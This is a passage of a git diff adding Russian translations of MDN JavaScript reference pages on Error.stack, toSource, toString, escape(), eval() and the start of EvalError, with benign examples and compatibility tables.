+<p><strong>Значения аргументов в стеке</strong>: до Firefox 14 ({{bug("744842")}}) за именем функции и прямо перед знаком собаки (<code>@</code>) в круглых скобках следовали значения аргументов, преобразованные в строки. Хотя объекты (или массивы и прочее) преобразовывались в форму <code>"[object Object]"</code>, и, таким образом, невозможно было узнать их содержимое, скалярные значения могли быть извлечены (это всё ещё можно использовать в Firefox 14 — однако проще для получения аргументов использовать <code>arguments.callee.caller.arguments</code>, а для получения имени функции — <code>arguments.callee.caller.name</code>). Значение <code>"undefined"</code> показывалось как <code>"(void 0)"</code>. Обратите внимание, что если строковые аргументы содержали значения, включающие символы <code>"@"</code>, <code>"("</code>, <code>")"</code> (или если они включали имена файлов), вам не так то просто было разбить строку на составные части. Таким образом, в Firefox 14 и более поздних версиях это перестало быть проблемой.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<p>Следующая разметка HTML демонстрирует использование свойства <code>stack</code>.</p>
+<pre class="brush: html">&lt;!DOCTYPE HTML&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;Пример трассировки стека&lt;/title&gt;
+&lt;body&gt;
+&lt;script&gt;
+function trace() {
+  try {
+    throw new Error('Моя ошибка');
+  }
+  catch(e) {
+    alert(e.stack);
+  }
+}
+function b() {
+  trace();
+}
+function a() {
+  b(3, 4, '\n\n', undefined, {});
+}
+a('первый вызов, первый аргумент');
+&lt;/script&gt;
+</pre>
+<p>Предполагается, что разметка выше сохранена как <code>C:\example.html</code> в файловой системе Windows. Она выводит  следующий текст в диалоговом окне:</p>
+<p>Начиная с Firefox 30 и более поздних версий, вывод содержит номер колонки ({{bug("762556")}}):</p>
+<pre><samp>trace@file:///C:/example.html:9:17
+b@file:///C:/example.html:16:13
+a@file:///C:/example.html:19:13
+@file:///C:/example.html:21:9</samp></pre>
+<p>с Firefox 14 по Firefox 29:</p>
+<pre><samp>trace@file:///C:/example.html:9
+b@file:///C:/example.html:16
+a@file:///C:/example.html:19
+@file:///C:/example.html:21</samp></pre>
+<p>Firefox 13 и более ранние версии выводят следующий текст:</p>
+<pre><samp>Error("Моя ошибка")@:0
+trace()@file:///C:/example.html:9
+b(3,4,"\n\n",(void 0),[object Object])@file:///C:/example.html:16
+a("первый вызов, первый аргумент")@file:///C:/example.html:19
+@file:///C:/example.html:21</samp></pre>
+
+<h3 id="Stack_of_eval'ed_code" name="Stack_of_eval'ed_code">Стек кода в функции <code>eval()</code></h3>
+<p>Начиная с Firefox 30 {{geckoRelease("30")}}, стек вызовов кода в вызовах <code>Function()</code> и <code>eval()</code> даёт более подробную информацию о номере строки и колонки внутри этих вызовов. Вызовы <code>Function</code> обозначаются <code>"&gt; Function"</code>, а вызовы <code>eval()</code> обозначаются <code>"&gt; eval"</code>. Смотрите {{bug("332176")}}.</p>
+<pre class="brush: js">try {
+  new Function('throw new Error()')();
+} catch (e) {
+  console.log(e.stack);
+}
+
+// anonymous@file:///C:/example.html line 7 &gt; Function:1:1
+// @file:///C:/example.html:7:6
+
+
+try {
+  eval("eval('FAIL')");
+} catch (x) {
+  console.log(x.stack);
+}
+
+// @file:///C:/example.html line 7 &gt; eval line 1 &gt; eval:1:1
+// @file:///C:/example.html line 7 &gt; eval:1:1
+// @file:///C:/example.html:7:6
+</pre>
+<p>Также для именования исходного кода в функции <code>eval()</code> вы можете использовать директиву <code>//# sourceURL</code>. Смотрите раздел <a href="/ru/docs/Tools/Debugger/How_to/Debug_eval_sources">Отладка исходных кодов в функции <code>eval()</code></a> в документации по <a href="/ru/docs/Tools/Debugger">отладчику</a>, а также эту <a href="http://fitzgeraldnick.com/weblog/59/">запись в блоге</a> (на английском).</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является чаcтью какой-либо спецификации. Не стандартно.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatIE("10")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatSafari("6")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>Android 4 (возможно, Android 3, но не Android 2)</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatSafari("6")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a href="/ru/docs/Components.stack">Components.stack</a></li>
+ <li>Внешние проекты: <a class="link-https" href="https://github.com/csnover/TraceKit/">TraceKit</a> и <a class="link-https" href="https://github.com/eriwen/javascript-stacktrace">javascript-stacktrace</a></li>
+ <li>MSDN: документация по <a class="external" href="http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">error.stack</a></li>
+ <li><a href="https://code.google.com/p/v8/wiki/JavaScriptStackTraceApi">Обзор API трассировки стека в движке JavaScript V8</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/tosource/index.html b/files/ru/web/javascript/reference/global_objects/error/tosource/index.html
new file mode 100644
index 0000000000..7cc274da14
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/tosource/index.html
@@ -0,0 +1,88 @@
+---
+title: Error.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Error/toSource
+tags:
+  - Error
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toSource()</strong></code> возвращает код, вычисление которого приведёт к этой же ошибке.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>e</var>.toSource()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Вызов метода <code>toSource</code> на экземпляре класса {{jsxref("Error")}} (включая <i><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">родные ошибки</a></i>) вернёт строку, содержащую исходный код ошибки. Эта строка может быть выполнена для создания (приблизительно) эквивалентного объекта. Естественно, строка, содержащая исходный код, следует структуре конструктора объекта {{jsxref("Error")}}. Например:</p>
+<pre class="brush: js">(new <i>name</i>(<i>message</i>, <i>fileName</i>, <i>lineNumber</i>))
+</pre>
+<p>здесь атрибуты относятся к соответствующим свойствам экземпляра ошибки.</p>
+<div class="note">
+ <p><strong>Обратите внимание:</strong> имейте в виду, что свойства, используемые методом <code>toSource</code> при создании строки, изменяемы и могут неточно отражать функцию, с помощью которой создан экземпляр ошибки, или имя файла, или номер строки, где возникла ошибка.</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является чаcтью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.fileName")}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}}</li>
+ <li>{{jsxref("Error.prototype.message")}}</li>
+ <li>{{jsxref("Error.prototype.name")}}</li>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/tostring/index.html b/files/ru/web/javascript/reference/global_objects/error/tostring/index.html
new file mode 100644
index 0000000000..22d4157c81
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/tostring/index.html
@@ -0,0 +1,136 @@
+---
+title: Error.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Error/toString
+tags:
+  - Error
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString
+---
+<div>
+ {{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>toString()</strong></code> возвращает строку, представляющую указанный объект {{jsxref("Error")}}.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>e</var>.toString()</code></pre>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Error")}} переопределяет метод {{jsxref("Object.prototype.toString()")}}, унаследованный всеми объектами. Его семантика следующая (предполагается, что объекты {{jsxref("Object")}} и {{jsxref("String")}} имеют свои изначальные значения):</p>
+<pre class="brush: js">Error.prototype.toString = function() {
+  'use strict';
+
+  var obj = Object(this);
+  if (obj !== this) {
+    throw new TypeError();
+  }
+
+  var name = this.name;
+  name = (name === undefined) ? 'Error' : String(name);
+
+  var msg = this.message;
+  msg = (msg === undefined) ? '' : String(msg);
+
+  if (name === '') {
+    return msg;
+  }
+  if (msg === '') {
+    return name;
+  }
+
+  return name + ': ' + msg;
+};
+</pre>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">var e = new Error('непоправимая ошибка');
+print(e.toString()); // 'Error: непоправимая ошибка'
+
+e.name = undefined;
+print(e.toString()); // 'Error: непоправимая ошибка'
+
+e.name = '';
+print(e.toString()); // 'непоправимая ошибка'
+
+e.message = undefined;
+print(e.toString()); // 'Error'
+
+e.name = 'привет';
+print(e.toString()); // 'привет'
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.4.4', 'Error.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html
new file mode 100644
index 0000000000..faaef7049c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/escape/index.html
@@ -0,0 +1,120 @@
+---
+title: escape()
+slug: Web/JavaScript/Reference/Global_Objects/escape
+translation_of: Web/JavaScript/Reference/Global_Objects/escape
+---
+<div>{{jsSidebar("Objects")}} {{deprecated_header}}</div>
+
+<p>Устаревший метод <code><strong>escape()</strong></code> возвращает новую строку, в которой определенные символы заменены шестнадцаричной управляющей последовательностью.  Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>escape(str)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Строка для кодирования.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Функция <code>escape() является свойством </code><em>глобального объекта</em>, т.е. относится к глобальным функциям. <span>Эта функция</span> <span>кодирует</span> <span>специальные символы</span>, <span>за исключением</span>: @*_+-./</p>
+
+<p>The hexadecimal form for characters, whose code unit value is 0xFF or less, is a two-digit escape sequence: %xx. For characters with a greater code unit, the four-digit format %<strong>u</strong>xxxx is used.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">escape("abc123");     // "abc123"
+escape("текст");      // "%u0442%u0435%u043A%u0441%u0442"
+escape("ć");          // "%u0107"
+
+/* специальные символы */
+escape("@*_+-./");    // "@*_+-./"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in the (informative) Compatibility Annex B</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html
new file mode 100644
index 0000000000..ee90713bde
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/eval/index.html
@@ -0,0 +1,213 @@
+---
+title: eval()
+slug: Web/JavaScript/Reference/Global_Objects/eval
+tags:
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Warning:</strong> <font>Выполнение кода JavaScript с текстовой строки - это невероятный риск для безопасности. </font><font>Злоумышленнику слишком легко запустить какой угодно код, когда вы используете</font> <code>eval()</code>. Смотрите  <a href="#Не_используйте_eval_без_необходимости!">Никогда не изпользуте eval()!</a>, ниже.</p>
+</div>
+
+<p>Метод <code><strong>eval()</strong></code> выполняет JavaScript код, представленный строкой.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code>eval(<em>string</em>)</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Строка, представленная JavaScript выражением, оператором или последовательностью операторов. Выражение может содержать переменные и свойства существующих объектов.</dd>
+ <dt>
+ <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+ </dt>
+ <dd>Возвращает значение выполнения кода, переданного в функцию в виде строки. Если код не возвращает ничего - будет возвращено значение {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>eval()</code> - функция глобального объекта.</p>
+
+<p>Аргумент функции <code>eval()</code> - строка. <code>eval()</code> исполняет содержащееся в строке выражение, один или несколько операторов  JavaScript. Не стоит вызывать <code>eval()</code> для определения значения арифметического выражения; JavaScript вычисляет их автоматически.</p>
+
+<p><code>eval()</code> можно использовать для вычисления значения арифметического выражения, записанного в строковом виде, на более поздней стадии исполнения. Предположим, существует переменная <code>x</code>. Можно отложить вычисление выражения, в котором содержится <code>х</code>, если присвоить переменной это выражение в виде строки (допустим, "<code>3 * x + 2</code>"), а затем вызвать <code>eval()</code> в более поздней точке кода.</p>
+
+<p>Если аргумент, переданный <code>eval()</code>, не является строкой, <code>eval() </code>возвращает его неизменным. В следующем примере определен конструктор <code>String</code>, и <code>eval()</code> не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа <code>String</code>.</p>
+
+<pre class="brush:js notranslate">eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2"
+eval("2 + 2");             // возвращает 4
+</pre>
+
+<p>Это ограничение легко обойти при помощи <code>toString()</code>.</p>
+
+<pre class="brush:js notranslate">var expression = new String("2 + 2");
+eval(expression.toString());
+</pre>
+
+<p>Если вы используете <code>eval</code> косвенно, вызовом его через ссылку, а не просто <code>eval</code>, в<a href="http://www.ecma-international.org/ecma-262/5.1/#sec-10.4.2"> ECMAScript 5</a> это работает в глобальной области видимости, а не в локальной; это значит, что <code>eval</code> будет вызван в глобальной области видимости, а код будет выполнен с отсутвием доступа к локальным переменным в пределах области видимости, где он был вызван.</p>
+
+<pre class="brush:js notranslate">function test() {
+  var x = 2, y = 4;
+  console.log(eval("x + y"));  // Прямой вызов, использует локальную области видимости, результат - 6
+  var geval = eval;
+  console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определен
+}
+</pre>
+
+<h2 id="Не_используйте_eval_без_необходимости!"><a name="dont-use-it"><code><font face="Open Sans, Arial, sans-serif">Н</font>е используйте eval без необходимости!</code></a></h2>
+
+<p><code>eval()</code> - опасная функция, которая выполняет код, проходящий со всеми привилегиями вызывателя. Если вы запускаете <code>eval()</code> со строкой, на которую могут влиять злоумышленники, то вы можете запустить вредоносный код на устройство пользователя с правами вашей веб-страницы/расширения. Наиболее важно, код третьей стороны может видеть область видимости, в которой был вызван <code>eval()</code>, что может может привести к атакам, похожим на {{jsxref("Global_Objects/Function", "Function")}}.</p>
+
+<p><code>Также eval(),</code>как правило, медленнее альтернатив, так как вызывает интерпретатор JS, тогда как многие другие конструкции оптимизированы современными JS движками.</p>
+
+<p>Есть безопасные (и быстрые!) альтернативы <code>eval()</code> для общих случаев использования.</p>
+
+<h3 id="Доступ_к_свойствам">Доступ к свойствам</h3>
+
+<p>Вам не следует использовать <code>eval()</code>, чтобы конвертировать имена свойств в свойства. Рассматривая следующий пример, где свойство объекта используемое для доступа неизвестно до выполнения кода. Это можно сделать с  eval:</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName();  // возвращает "a" или "b"
+
+eval( "var result = obj." + propname );
+</pre>
+
+<p>Однако, <code>eval()</code> здесь не нужен. По факту, использование здесь его удивляет. Вместо него используйте <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="JavaScript/Reference/Operators/Member_Operators">доступ к свойствам</a>, который быстрее и безопаснее:</p>
+
+<pre class="brush:js notranslate">var obj = { a: 20, b: 30 };
+var propname = getPropName();  // возвращает "a" или "b"
+var result = obj[ propname ];  //  obj[ "a" ] то же, что и obj.a
+</pre>
+
+<h3 id="Используйте_функции_вместо_исполнения_фрагментов_кода">Используйте функции вместо исполнения фрагментов кода</h3>
+
+<p>У JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">функции первого класса</a>, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойвах объектах и так далее. Многие DOM API созданы с учетом этого, так что вы можете (и вам следует) писать:</p>
+
+<pre class="brush: js notranslate">// вместо setTimeout(" ... ", 1000) :
+setTimeout(function() { ... }, 1000);
+
+// вместо elt.setAttribute("onclick", "...") использовать:
+elt.addEventListener("click", function() { ... } , false); </pre>
+
+<p><a href="/en-US/docs/Web/JavaScript/Closures" title="JavaScript/Guide/Closures">Замыкания</a> также полезны как способ создания функций с параметрами без конкатенации строк.</p>
+
+<h3 id="Разбор_JSON_конвертирование_строк_в_JavaScript_объекты">Разбор JSON (конвертирование строк в JavaScript объекты)</h3>
+
+<p>Если строка, переданная в <code>eval()</code>, содержит данные (к примеру, массив: <code>"[1, 2, 3]"</code>), а не код, вам следует рассмотреть <a href="/en-US/docs/Glossary/JSON" title="JSON">JSON</a>, позволяющий строке использовать подмножество JavaScript синтаксиса для представления данных. Смотрите также: <a href="/en-US/docs/Downloading_JSON_and_JavaScript_in_extensions" title="Downloading_JSON_and_JavaScript_in_extensions">Загрузка JSON и JavaScript в расширениях</a>.</p>
+
+<p>Заметьте, что синтаксис JSON ограничен в сравнении с JavaScript синтаксисом, многие валидные JavaScript литералы не распарсятся в JSON. К примеру, лишние запятые в конце выражений не разрешены в JSON, а имена свойств (ключи) в объектах должны быть в двойных кавычках. Будьте уверены использовать серилизацию JSON для создания строк, которые потом будут разбираться как JSON.</p>
+
+<h3 id="Передавайте_данные_вместо_кода">Передавайте данные вместо кода</h3>
+
+<p>К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определенные в <a href="/en-US/docs/XPath" title="XPath">XPath</a>, а не JS коде.</p>
+
+<h3 id="Выполняйте_код_с_ограниченными_правами">Выполняйте код с ограниченными правами</h3>
+
+<p>Если выполнять код всё-таки необходимо, желательно это делать с уменьшенными привелегиями. Этот совет подходит, главным образом, к расширениям и XUL приложениям, которые могут использовать <a href="/en-US/docs/Components.utils.evalInSandbox" title="Components.utils.evalInSandbox">Components.utils.evalInSandbox</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_eval">Использование <code>eval</code></h3>
+
+<p>В следующем коде оба выражения содержат <code>eval()</code>, возвращающий 42. Первое определяется строкой "<code>x + y + 1</code>"; второе - строкой "<code>42</code>".</p>
+
+<pre class="brush:js notranslate">var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // возвращает 42
+eval(z);           // вернёт 42
+</pre>
+
+<h3 id="Использование_eval_для_исполнения_строки_содержащей_операторы_JavaScript">Использование <code>eval</code> для исполнения строки, содержащей операторы JavaScript</h3>
+
+<p>Следующий пример использует <code>eval()</code> для получения значения выражения <code>str</code>. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, присвающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, <code>eval()</code> будет считать выражения выполненными, а также это установит значение выражению переменной z и вернет его.</p>
+
+<pre class="brush:js notranslate">var x = 5;
+var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
+
+console.log("z is ", eval(str));</pre>
+
+<h3 id="Последнее_выражение_выполняется">Последнее выражение выполняется</h3>
+
+<p><code>eval()</code> вернет значение последнего выполняемого выражения</p>
+
+<pre class="brush:js notranslate">var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str);  // вернёт 2
+
+console.log("b is : " + b);
+
+a = false;
+b = eval(str);  // вернёт 3
+
+console.log("b is : " + b);</pre>
+
+<h3 id="eval_как_строковое_определение_функции_включающее_и_как_префикс_и_суффикс"><code>eval</code> как строковое определение функции, включающее "(" и ")" как префикс и суффикс</h3>
+
+<pre class="brush:js notranslate">var fctStr1 = "function a() {}"
+var fctStr2 = "(function a() {})"
+var fct1 = eval(fctStr1)  // вернёт undefined
+var fct2 = eval(fctStr2)  // вернёт функцию
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.1', 'eval')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-eval-x', 'eval')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div id="compat-mobile">
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.eval")}}</p>
+</div>
+
+<h3 id="Gecko-специфичные_замечания">Gecko-специфичные замечания</h3>
+
+<ul>
+ <li>Исторически <code>eval()</code> имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удален из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Доступ к свойствам</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/evalerror/index.html b/files/ru/web/javascript/reference/global_objects/evalerror/index.html
new file mode 100644
index 0000000000..016930c2aa
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/evalerror/index.html
@@ -0,0 +1,146 @@
+---
+title: EvalError
+slug: Web/JavaScript/Reference/Global_Objects/EvalError
+tags:
+  - Error
+  - EvalError
+  - JavaScript
+  - Reference
